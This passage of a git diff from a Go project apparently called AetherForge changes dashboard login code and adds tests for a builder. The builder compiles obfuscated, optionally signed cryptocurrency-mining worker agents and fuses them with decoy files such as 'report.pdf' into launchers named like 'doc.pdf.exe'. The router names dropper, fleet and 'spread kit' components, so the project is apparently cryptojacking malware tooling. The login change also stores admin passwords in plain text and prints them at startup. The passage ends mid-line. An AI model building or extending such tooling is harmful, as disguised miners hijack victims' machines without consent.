strings.Builder + b.WriteString("\n╔══════════════════════════════════════════════════╗\n") + b.WriteString("║ AetherForge — Dashboard Login ║\n") + b.WriteString("║ ║\n") + for user, pass := range creds { + fmt.Fprintf(&b, "║ Username : %-34s║\n", user) + fmt.Fprintf(&b, "║ Password : %-34s║\n", pass) + b.WriteString("║ ║\n") + } + b.WriteString("║ Also saved in data/login-credentials.json ║\n") + b.WriteString("║ Change passwords in Calibrate → Users. ║\n") + b.WriteString("╚══════════════════════════════════════════════════╝\n") + return b.String() +} + +// LoadUsers loads dashboard accounts and prints login credentials to the console. +// Call once during startup (before heavy init) so operators always see passwords. +func LoadUsers(dataDir string) { + ensureUsersLoaded(dataDir) + printStartupCredentials(dataDir) +} + +func ensureUsersLoaded(dataDir string) { + abs, err := filepath.Abs(dataDir) + if err != nil { + abs = dataDir + } + authLoadMu.Lock() + defer authLoadMu.Unlock() + if authLoadedDataDir == abs { + return + } + bootstrapUsers(dataDir) + authLoadedDataDir = abs +} + +func bootstrapUsers(dataDir string) { usersFilePath = filepath.Join(dataDir, "users.json") + sidecarPath := loginSidecarPath(dataDir) usersMu.Lock() defer usersMu.Unlock() @@ -129,7 +216,6 @@ func loadUsers(dataDir string) { if err == nil { var loaded map[string]string if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 { - // Migration: re-hash any plain-text entries left from an older version. migrated := false for u, v := range loaded { if !isBcryptHash(v) { @@ -145,16 +231,15 @@ func loadUsers(dataDir string) { d, _ := json.MarshalIndent(authUsers, "", " ") _ = os.WriteFile(usersFilePath, d, 0600) } + reconcileLoginSidecar(dataDir, sidecarPath, loaded) return } } - // First run — no users.json (or empty). Generate a random admin password, - // hash it, save it, and print the plain-text once to the console. pw := generateRandomPassword() hashed, herr := hashPassword(pw) if herr != nil { - hashed = pw // extremely unlikely; degrade gracefully + hashed = pw log.Printf("[Auth] WARNING: bcrypt failed, storing plain-text password: %v", herr) } authUsers = map[string]string{"admin": hashed} @@ -163,20 +248,35 @@ func loadUsers(dataDir string) { if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil { log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr) } + _ = writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}) } +} - banner := fmt.Sprintf(` -╔══════════════════════════════════════════════════╗ -║ AetherForge — First Run ║ -║ ║ -║ Dashboard login ║ -║ Username : admin ║ -║ Password : %-34s║ -║ ║ -║ Save this — it will not be shown again. ║ -║ Change it later in Calibrate → Users. ║ -╚══════════════════════════════════════════════════╝`, pw) - log.Print(banner) +func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) { + if _, err := readLoginSidecar(sidecarPath); err == nil { + return + } + if _, ok := users["admin"]; !ok { + return + } + pw := generateRandomPassword() + hashed, herr := hashPassword(pw) + if herr != nil { + log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr) + return + } + users["admin"] = hashed + authUsers = users + d, _ := json.MarshalIndent(authUsers, "", " ") + if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil { + log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr) + return + } + if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil { + log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr) + return + } + log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)") } // generateRandomPassword returns a 20-character hex string suitable for use @@ -195,16 +295,25 @@ func saveUser(username, password string) error { return fmt.Errorf("bcrypt: %w", err) } usersMu.Lock() - defer usersMu.Unlock() authUsers[username] = hashed if usersFilePath == "" { usersFilePath = filepath.Join("data", "users.json") } - if err := os.MkdirAll(filepath.Dir(usersFilePath), 0755); err != nil { + dataDir := filepath.Dir(usersFilePath) + if err := os.MkdirAll(dataDir, 0755); err != nil { + usersMu.Unlock() return err } data, _ := json.MarshalIndent(authUsers, "", " ") - return os.WriteFile(usersFilePath, data, 0600) + if err := os.WriteFile(usersFilePath, data, 0600); err != nil { + usersMu.Unlock() + return err + } + usersMu.Unlock() + if err := upsertLoginSidecar(dataDir, username, password); err != nil { + log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err) + } + return nil } func basicAuthMiddleware(next http.Handler) http.Handler { @@ -294,7 +403,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler { } func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { - loadUsers(dataDir) + ensureUsersLoaded(dataDir) r := chi.NewRouter() @@ -414,7 +523,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler writeJSON(w, map[string]interface{}{"success": true}) }) - // AI Autonomy (Ollama) + // Agent autonomy REST — forged Go agents only (X-Fleet-Secret header). + // Not exposed in dashboard client.ts; see agent/client and README API auth table. r.Post("/agent/decide", aiHandler.HandleDecide) r.Post("/agent/report", aiHandler.HandleReport) r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat) diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go index e201780..935467d 100644 --- a/server/internal/api/router_test.go +++ b/server/internal/api/router_test.go @@ -28,6 +28,9 @@ func resetAuthState(t *testing.T) { authUsers = map[string]string{} usersFilePath = "" usersMu.Unlock() + authLoadMu.Lock() + authLoadedDataDir = "" + authLoadMu.Unlock() SetAgentPathSecret("") SetRotateSecretFn(nil) t.Cleanup(resetAuthGlobals) @@ -437,3 +440,35 @@ func TestRouterNoWebRootFallback(t *testing.T) { t.Fatalf("unexpected body: %s", rec.Body.String()) } } + +func TestLoadUsersCreatesAndReloadsLoginSidecar(t *testing.T) { + resetAuthState(t) + dataDir := t.TempDir() + + LoadUsers(dataDir) + + sidecarPath := filepath.Join(dataDir, "login-credentials.json") + data, err := os.ReadFile(sidecarPath) + if err != nil { + t.Fatalf("login sidecar: %v", err) + } + var creds map[string]string + if err := json.Unmarshal(data, &creds); err != nil { + t.Fatal(err) + } + pw, ok := creds["admin"] + if !ok || pw == "" { + t.Fatalf("expected admin password in sidecar: %v", creds) + } + if !checkPassword(authUsers["admin"], pw) { + t.Fatal("sidecar password should match users.json hash") + } + + if err := saveUser("admin", "new-secret-pass"); err != nil { + t.Fatal(err) + } + reloaded, err := readLoginSidecar(sidecarPath) + if err != nil || reloaded["admin"] != "new-secret-pass" { + t.Fatalf("sidecar not updated after saveUser: %v err=%v", reloaded, err) + } +} diff --git a/server/internal/api/server_policy_test.go b/server/internal/api/server_policy_test.go new file mode 100644 index 0000000..2ef1307 --- /dev/null +++ b/server/internal/api/server_policy_test.go @@ -0,0 +1,31 @@ +package api + +import ( + "encoding/json" + "testing" +) + +func TestServerPolicyJSONRoundTrip(t *testing.T) { + in := ServerPolicy{ + MaxAgents: 128, + LogAgentConnections: true, + LogShareSubmissions: false, + LogPoolTraffic: true, + StrictWalletValidation: true, + MaxBuildSizeMB: 64, + PoolReconnectSeconds: 30, + } + + data, err := json.Marshal(in) + if err != nil { + t.Fatal(err) + } + + var out ServerPolicy + if err := json.Unmarshal(data, &out); err != nil { + t.Fatal(err) + } + if out != in { + t.Fatalf("round-trip mismatch:\n got %+v\n want %+v", out, in) + } +} diff --git a/server/internal/api/testdata/ws_types_fixture.json b/server/internal/api/testdata/ws_types_fixture.json new file mode 100644 index 0000000..09a8873 --- /dev/null +++ b/server/internal/api/testdata/ws_types_fixture.json @@ -0,0 +1,32 @@ +{ + "WSDashboardInit": [ + "agents" + ], + "WSAgentOffline": [ + "agent_id" + ], + "WSStatsUpdate": [ + "agent_id", + "cpu_usage_pct", + "hashrate_15m", + "hashrate_15s", + "hashrate_1m", + "memory_usage_pct", + "shares_accepted", + "shares_submitted", + "uptime_seconds" + ], + "WSCommandResult": [ + "action", + "agent_id", + "message", + "success" + ], + "WSAgentLog": [ + "agent_id", + "content" + ], + "WSServerLog": [ + "line" + ] +} diff --git a/server/internal/api/ws_types.go b/server/internal/api/ws_types.go index 86119c0..dc9ebeb 100644 --- a/server/internal/api/ws_types.go +++ b/server/internal/api/ws_types.go @@ -1,6 +1,8 @@ package api // Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts). +// Shared types: WSDashboardInit, WSAgentOffline, WSStatsUpdate, WSCommandResult, WSAgentLog, WSServerLog. +// Cross-language drift guard: testdata/ws_types_fixture.json (Go ws_types_test.go, TS ws.test.ts). type WSDashboardInit struct { Agents []interface{} `json:"agents"` diff --git a/server/internal/api/ws_types_test.go b/server/internal/api/ws_types_test.go index 0d8b8dc..5283756 100644 --- a/server/internal/api/ws_types_test.go +++ b/server/internal/api/ws_types_test.go @@ -2,14 +2,96 @@ package api import ( "encoding/json" + "flag" + "os" + "path/filepath" + "reflect" + "sort" + "strings" "testing" ) +var updateWSFixture = flag.Bool("updateWSFixture", false, "rewrite testdata/ws_types_fixture.json from ws_types.go struct tags") + +func TestMain(m *testing.M) { + flag.Parse() + os.Exit(m.Run()) +} + +// Synced with server/web/src/types/ws.ts — see testdata/ws_types_fixture.json. +var wsTypeSamples = map[string]interface{}{ + "WSDashboardInit": WSDashboardInit{}, + "WSAgentOffline": WSAgentOffline{}, + "WSStatsUpdate": WSStatsUpdate{}, + "WSCommandResult": WSCommandResult{}, + "WSAgentLog": WSAgentLog{}, + "WSServerLog": WSServerLog{}, +} + +func wsTypeFieldKeys(v interface{}) []string { + t := reflect.TypeOf(v) + if t.Kind() == reflect.Ptr { + t = t.Elem() + } + var keys []string + for i := 0; i < t.NumField(); i++ { + tag := t.Field(i).Tag.Get("json") + if tag == "" || tag == "-" { + continue + } + name, _, _ := strings.Cut(tag, ",") + if name != "" { + keys = append(keys, name) + } + } + sort.Strings(keys) + return keys +} + +func wsTypeKeysFromStructs() map[string][]string { + out := make(map[string][]string, len(wsTypeSamples)) + for name, sample := range wsTypeSamples { + out[name] = wsTypeFieldKeys(sample) + } + return out +} + +func TestWSTypeFieldKeysMatchFixture(t *testing.T) { + got := wsTypeKeysFromStructs() + fixturePath := filepath.Join("testdata", "ws_types_fixture.json") + + if *updateWSFixture { + data, err := json.MarshalIndent(got, "", " ") + if err != nil { + t.Fatal(err) + } + data = append(data, '\n') + if err := os.WriteFile(fixturePath, data, 0o644); err != nil { + t.Fatal(err) + } + t.Logf("updated %s", fixturePath) + return + } + + raw, err := os.ReadFile(fixturePath) + if err != nil { + t.Fatalf("read fixture: %v (run with -updateWSFixture to create)", err) + } + var want map[string][]string + if err := json.Unmarshal(raw, &want); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(got, want) { + t.Fatalf("ws_types fixture drift: re-run go test -run TestWSTypeFieldKeysMatchFixture -updateWSFixture ./internal/api/") + } +} + func TestWSTypesJSONRoundTrip(t *testing.T) { cases := []struct { name string in interface{} }{ + {"dashboard_init", WSDashboardInit{Agents: []interface{}{}}}, {"stats", WSStatsUpdate{AgentID: "a1", Hashrate15m: 123.4, CPUUsagePct: 50}}, {"offline", WSAgentOffline{AgentID: "a1"}}, {"command", WSCommandResult{AgentID: "a1", Action: "exec", Success: true, Message: "ok"}}, diff --git a/server/internal/builder/build_universal.go b/server/internal/builder/build_universal.go index a75b68d..f9e3883 100644 --- a/server/internal/builder/build_universal.go +++ b/server/internal/builder/build_universal.go @@ -99,9 +99,10 @@ func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, w if err := h.db.InsertBuild(&models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, - Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(), + Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(), PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, Platform: "universal", BundleSize: zipBytes, + DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), }); err != nil { log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err) } @@ -221,9 +222,10 @@ func (h *Handler) finishUniversalFusion(ctx context.Context, buildID, buildDir s if err := h.db.InsertBuild(&models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, - Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(), + Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, FileName: zipName, CreatedAt: time.Now(), PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, Platform: "universal", BundleSize: zipBytes2, + DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName), }); err != nil { log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err) } diff --git a/server/internal/builder/compile_platform_test.go b/server/internal/builder/compile_platform_test.go new file mode 100644 index 0000000..d07af0e --- /dev/null +++ b/server/internal/builder/compile_platform_test.go @@ -0,0 +1,161 @@ +package builder + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func TestCompileGoProjectPlatformFakeGoFail(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoFail(t, h) + + dir := t.TempDir() + out := filepath.Join(dir, "worker.exe") + if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil { + t.Fatal(err) + } + _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", nil, false, + BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) + if err == nil || !strings.Contains(err.Error(), "windows-amd64") { + t.Fatalf("expected platform compile error, got %v", err) + } +} + +func TestCompileGoProjectPlatformFakeGoSuccess(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSuccess(t, h) + + dir := t.TempDir() + out := filepath.Join(dir, "worker.exe") + if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil { + t.Fatal(err) + } + if _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", []string{"p2p"}, false, + BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}); err != nil { + t.Fatalf("fake go success: %v", err) + } + if _, err := os.Stat(out); err != nil { + t.Fatalf("output not created: %v", err) + } +} + +func TestCompileGoProjectPlatformObfuscateWithoutGarble(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSuccess(t, h) + h.garblePath = "" + + dir := t.TempDir() + out := filepath.Join(dir, "worker.exe") + if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil { + t.Fatal(err) + } + if _, err := h.compileGoProjectPlatform(context.Background(), dir, out, "-s -w", nil, true, + BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}); err != nil { + t.Fatalf("obfuscate without garble should fall back to plain go: %v", err) + } +} + +func TestCompileGoProjectPlatformCancelled(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSleep(t, h) + + dir := t.TempDir() + out := filepath.Join(dir, "worker.exe") + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + + errCh := make(chan error, 1) + go func() { + _, err := h.compileGoProjectPlatform(ctx, dir, out, "-s -w", nil, false, + BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) + errCh <- err + }() + + time.Sleep(200 * time.Millisecond) + cancel() + + select { + case err := <-errCh: + if err == nil || !strings.Contains(err.Error(), "cancelled") { + t.Fatalf("expected cancelled build, got %v", err) + } + case <-time.After(10 * time.Second): + t.Fatal("compile did not stop after context cancel") + } +} + +func TestCompileGoProjectDelegatesToPlatform(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSuccess(t, h) + + dir := t.TempDir() + out := filepath.Join(dir, "worker.exe") + if err := os.MkdirAll(filepath.Dir(out), 0755); err != nil { + t.Fatal(err) + } + if _, err := h.compileGoProject(context.Background(), dir, out, "-s -w", nil, false); err != nil { + t.Fatalf("compileGoProject: %v", err) + } +} + +func TestCompileWorkerFakeGoSuccess(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSuccess(t, h) + + buildDir := t.TempDir() + agentDir := filepath.Join(buildDir, "agent") + if err := h.copyAgentSource(agentDir); err != nil { + t.Fatal(err) + } + + req := &BuildRequest{ + WorkerName: "pc-1", + ServerURL: "http://127.0.0.1:8989", + Wallet: "48abc", + MeshP2P: true, + } + out, err := h.compileWorker(context.Background(), agentDir, buildDir, req, "bid-1", + BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}, false) + if err != nil { + t.Fatalf("compileWorker: %v", err) + } + if _, err := os.Stat(out); err != nil { + t.Fatalf("compiled worker missing: %v", err) + } + builtin, err := os.ReadFile(filepath.Join(agentDir, "config", "builtin.go")) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(string(builtin), "bid-1") || !strings.Contains(string(builtin), "pc-1") { + t.Fatalf("builtin config not written: %s", builtin) + } +} + +func TestCompileWorkerFakeGoFail(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoFail(t, h) + + buildDir := t.TempDir() + agentDir := filepath.Join(buildDir, "agent") + if err := h.copyAgentSource(agentDir); err != nil { + t.Fatal(err) + } + + req := &BuildRequest{WorkerName: "pc", ServerURL: "http://x", Wallet: "48abc"} + _, err := h.compileWorker(context.Background(), agentDir, buildDir, req, "bid", + BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}, true) + if err == nil { + t.Fatal("expected compile failure") + } +} diff --git a/server/internal/builder/estimate.go b/server/internal/builder/estimate.go index fea84f0..6bd598f 100644 --- a/server/internal/builder/estimate.go +++ b/server/internal/builder/estimate.go @@ -124,7 +124,7 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi } if h.shouldObfuscate(req) && h.garblePath == "" { - resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (run.bat installs it).") + resp.Notes = append(resp.Notes, "Garble not found — obfuscation will be skipped unless you install garble (devrun.bat installs it).") } if req.SignBuild && (!h.policy.Sign.Enabled || strings.TrimSpace(h.policy.Sign.CertThumbprint) == "") { resp.Notes = append(resp.Notes, "Code signing requested but Calibrate has no certificate thumbprint configured.") diff --git a/server/internal/builder/fusion_media.go b/server/internal/builder/fusion_media.go index 4d88928..be7b2c8 100644 --- a/server/internal/builder/fusion_media.go +++ b/server/internal/builder/fusion_media.go @@ -198,13 +198,13 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName order := normalizeFusionOrder(runOrder) out := string(src) repl := map[string]string{ - `const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order), - `const payloadKind = "FUSION_PAYLOAD_KIND"`: fmt.Sprintf(`const payloadKind = %q`, payloadKind), - `const mediaMode = "FUSION_MEDIA_MODE"`: fmt.Sprintf(`const mediaMode = %q`, mediaMode), - `const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName), + `"FUSION_RUN_ORDER"`: fmt.Sprintf("%q", order), + `"FUSION_PAYLOAD_KIND"`: fmt.Sprintf("%q", payloadKind), + `"FUSION_MEDIA_MODE"`: fmt.Sprintf("%q", mediaMode), + `"FUSION_MEDIA_FILE"`: fmt.Sprintf("%q", mediaFileName), } - for old, new := range repl { - out = strings.Replace(out, old, new, 1) + for old, newVal := range repl { + out = strings.Replace(out, old, newVal, 1) } return []byte(out) } diff --git a/server/internal/builder/fusion_media_test.go b/server/internal/builder/fusion_media_test.go index 9c4635b..45e2fb3 100644 --- a/server/internal/builder/fusion_media_test.go +++ b/server/internal/builder/fusion_media_test.go @@ -1,6 +1,7 @@ package builder import ( + "context" "encoding/json" "os" "path/filepath" @@ -135,6 +136,47 @@ func TestPrepareFusionProjectMissingSource(t *testing.T) { } } +func TestPrepareFusionProjectSuccess(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + + fusionDir, err := h.prepareFusionProject(t.TempDir(), "prep_first", "file", "paired", "report.pdf") + if err != nil { + t.Fatalf("prepareFusionProject: %v", err) + } + main, err := os.ReadFile(filepath.Join(fusionDir, "main.go")) + if err != nil { + t.Fatal(err) + } + body := string(main) + for _, want := range []string{`runOrder = "prep_first"`, `payloadKind = "file"`, `mediaFileName = "report.pdf"`} { + if !strings.Contains(body, want) { + t.Fatalf("patched main missing %q:\n%s", want, body) + } + } + if _, err := os.Stat(filepath.Join(fusionDir, "go.mod")); err != nil { + t.Fatalf("fusion go.mod not copied: %v", err) + } +} + +func TestBuildFileFusionMissingWorker(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSuccess(t, h) + + buildDir := t.TempDir() + prep := filepath.Join(t.TempDir(), "report.pdf") + if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil { + t.Fatal(err) + } + req := &BuildRequest{FusionMediaMode: "paired", FusionPayloadKind: "file"} + win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"} + _, err := h.buildFileFusion(context.Background(), buildDir, prep, filepath.Join(buildDir, "missing.exe"), req, win) + if err == nil { + t.Fatal("expected worker copy failure") + } +} + func TestPublishFusionDeliverable(t *testing.T) { root := t.TempDir() h := &Handler{projectRoot: root} diff --git a/server/internal/builder/fusion_test.go b/server/internal/builder/fusion_test.go index 0284a64..6035efe 100644 --- a/server/internal/builder/fusion_test.go +++ b/server/internal/builder/fusion_test.go @@ -60,3 +60,99 @@ func TestBuildFusionFromRequestPaired(t *testing.T) { t.Fatal("expected launcher path") } } + +func TestBuildFileFusionPairedFakeGo(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSuccess(t, h) + + buildDir := t.TempDir() + worker := filepath.Join(buildDir, "worker.exe") + if err := os.WriteFile(worker, []byte("w"), 0644); err != nil { + t.Fatal(err) + } + prep := filepath.Join(t.TempDir(), "report.pdf") + if err := os.WriteFile(prep, []byte("%PDF-1.4"), 0644); err != nil { + t.Fatal(err) + } + req := &BuildRequest{ + TargetOS: "windows", + FusionMediaMode: "paired", + FusionPayloadKind: "file", + FusionMediaBaseName: "report.pdf", + } + win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"} + res, err := h.buildFileFusion(context.Background(), buildDir, prep, worker, req, win) + if err != nil { + t.Fatalf("buildFileFusion paired: %v", err) + } + if res == nil || res.LauncherPath == "" { + t.Fatal("expected launcher path") + } + if _, err := os.Stat(res.LauncherPath); err != nil { + t.Fatalf("launcher not created: %v", err) + } + if res.MediaName != "report.pdf" { + t.Fatalf("media name: %q", res.MediaName) + } +} + +func TestBuildFileFusionEmbeddedFakeGo(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSuccess(t, h) + + buildDir := t.TempDir() + worker := filepath.Join(buildDir, "worker.bin") + if err := os.WriteFile(worker, []byte("w"), 0644); err != nil { + t.Fatal(err) + } + prep := filepath.Join(t.TempDir(), "clip.mkv") + if err := os.WriteFile(prep, []byte("fake video"), 0644); err != nil { + t.Fatal(err) + } + req := &BuildRequest{ + TargetOS: "linux", + FusionMediaMode: "embedded", + FusionPayloadKind: "file", + } + linux := BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""} + res, err := h.buildFileFusion(context.Background(), buildDir, prep, worker, req, linux) + if err != nil { + t.Fatalf("buildFileFusion embedded: %v", err) + } + payloadBin := filepath.Join(buildDir, "fusion", "assets", "payload.bin") + st, err := os.Stat(payloadBin) + if err != nil { + t.Fatalf("embedded payload.bin missing: %v", err) + } + if st.Size() == 0 { + t.Fatal("embedded mode should copy payload into assets") + } + if res.MediaName != "clip.mkv" { + t.Fatalf("media name: %q", res.MediaName) + } +} + +func TestBuildFusionWrapperFakeGoSuccess(t *testing.T) { + h, database := testHandlerDB(t) + defer database.Close() + setFakeGoSuccess(t, h) + + buildDir := t.TempDir() + worker := filepath.Join(buildDir, "worker.exe") + if err := os.WriteFile(worker, []byte("w"), 0644); err != nil { + t.Fatal(err) + } + prep := filepath.Join(t.TempDir(), "doc.pdf") + if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil { + t.Fatal(err) + } + launcher, err := h.buildFusion(context.Background(), buildDir, prep, worker, "doc.pdf.exe", "parallel") + if err != nil { + t.Fatalf("buildFusion: %v", err) + } + if launcher == "" { + t.Fatal("expected launcher path") + } +} diff --git a/server/internal/builder/handler.go b/server/internal/builder/handler.go index a4701a8..452cb99 100644 --- a/server/internal/builder/handler.go +++ b/server/internal/builder/handler.go @@ -125,6 +125,17 @@ type BuildArtifactFile struct { FilePath string `json:"file_path,omitempty"` } +func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile { + if len(arts) == 0 { + return nil + } + out := make([]models.BuildExtraFile, len(arts)) + for i, a := range arts { + out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath} + } + return out +} + type Handler struct { db *db.Database dataDir string @@ -647,6 +658,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st FilePath: absPath, FileName: finalName, DownloadURL: dlURL, + ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts), Platform: recordPlatform, CreatedAt: time.Now(), PoolHost: req.PoolHost, diff --git a/server/internal/builder/handler_helpers_test.go b/server/internal/builder/handler_helpers_test.go index cd87371..108e0ad 100644 --- a/server/internal/builder/handler_helpers_test.go +++ b/server/internal/builder/handler_helpers_test.go @@ -167,3 +167,30 @@ func TestShouldSignBuildNoRequestFlag(t *testing.T) { t.Fatal("SignBuild flag required") } } + +func TestBuildExtraFilesFromArtifacts(t *testing.T) { + if got := buildExtraFilesFromArtifacts(nil); got != nil { + t.Fatalf("nil input should return nil, got %+v", got) + } + if got := buildExtraFilesFromArtifacts([]BuildArtifactFile{}); got != nil { + t.Fatalf("empty slice should return nil, got %+v", got) + } + arts := []BuildArtifactFile{ + {FileName: "readme.txt", FilePath: "/tmp/readme.txt"}, + {FileName: "runner.exe", FilePath: "/tmp/runner.exe"}, + } + got := buildExtraFilesFromArtifacts(arts) + if len(got) != 2 { + t.Fatalf("expected 2 extras, got %d", len(got)) + } + if got[0].FileName != "readme.txt" || got[0].FilePath != "/tmp/readme.txt" { + t.Fatalf("first artifact: %+v", got[0]) + } +} + +func TestFusionUniversalStartShBareExtension(t *testing.T) { + sh := fusionUniversalStartSh(".pdf") + if !strings.Contains(sh, "-runner") { + t.Fatalf("expected runner suffix in script: %q", sh) + } +} diff --git a/server/internal/builder/test_helper_test.go b/server/internal/builder/test_helper_test.go index cf6bf7e..3b6e5de 100644 --- a/server/internal/builder/test_helper_test.go +++ b/server/internal/builder/test_helper_test.go @@ -67,3 +67,52 @@ func setFakeGoFail(t *testing.T, h *Handler) { } h.goBinPath = p } + +// setFakeGoSuccess points goBinPath at a script that writes the -o output and exits 0. +func setFakeGoSuccess(t *testing.T, h *Handler) { + t.Helper() + dir := t.TempDir() + if runtime.GOOS == "windows" { + p := filepath.Join(dir, "go-ok.bat") + script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" + + ":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" + + " set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" + + "shift\r\ngoto loop\r\n:done\r\n" + + "if defined OUT (\r\n" + + " for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" + + " echo fake>\"!OUT!\"\r\n" + + ")\r\nexit /b 0\r\n" + if err := os.WriteFile(p, []byte(script), 0644); err != nil { + t.Fatal(err) + } + h.goBinPath = p + return + } + p := filepath.Join(dir, "go-ok.sh") + script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" + + " if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" + + "done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n" + if err := os.WriteFile(p, []byte(script), 0755); err != nil { + t.Fatal(err) + } + h.goBinPath = p +} + +// setFakeGoSleep points goBinPath at a script that blocks long enough to test cancellation. +func setFakeGoSleep(t *testing.T, h *Handler) { + t.Helper() + dir := t.TempDir() + if runtime.GOOS == "windows" { + p := filepath.Join(dir, "go-sleep.bat") + if err := os.WriteFile(p, []byte("@echo off\r\nping 127.0.0.1 -n 8 >nul\r\nexit /b 0\r\n"), 0644); err != nil { + t.Fatal(err) + } + h.goBinPath = p + return + } + p := filepath.Join(dir, "go-sleep.sh") + if err := os.WriteFile(p, []byte("#!/bin/sh\nsleep 8\nexit 0\n"), 0755); err != nil { + t.Fatal(err) + } + h.goBinPath = p +} diff --git a/server/internal/db/builds_test.go b/server/internal/db/builds_test.go index 6392da6..d74b368 100644 --- a/server/internal/db/builds_test.go +++ b/server/internal/db/builds_test.go @@ -61,6 +61,27 @@ func TestBuildCRUDAndList(t *testing.T) { } } +func TestBuildExtraFilesRoundTrip(t *testing.T) { + d := openTestDB(t) + build := &models.BuildRecord{ + ID: "build-extra", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: time.Now(), + DownloadURL: "/api/v1/builds/build-extra/download", + ExtraFiles: []models.BuildExtraFile{ + {FileName: "payload.enc", FilePath: "/data/payload.enc"}, + {FileName: "README.txt"}, + }, + } + insertBuild(t, d, build) + + got, err := d.GetBuild("build-extra") + if err != nil { + t.Fatal(err) + } + if len(got.ExtraFiles) != 2 || got.ExtraFiles[0].FileName != "payload.enc" { + t.Fatalf("extra_files mismatch: 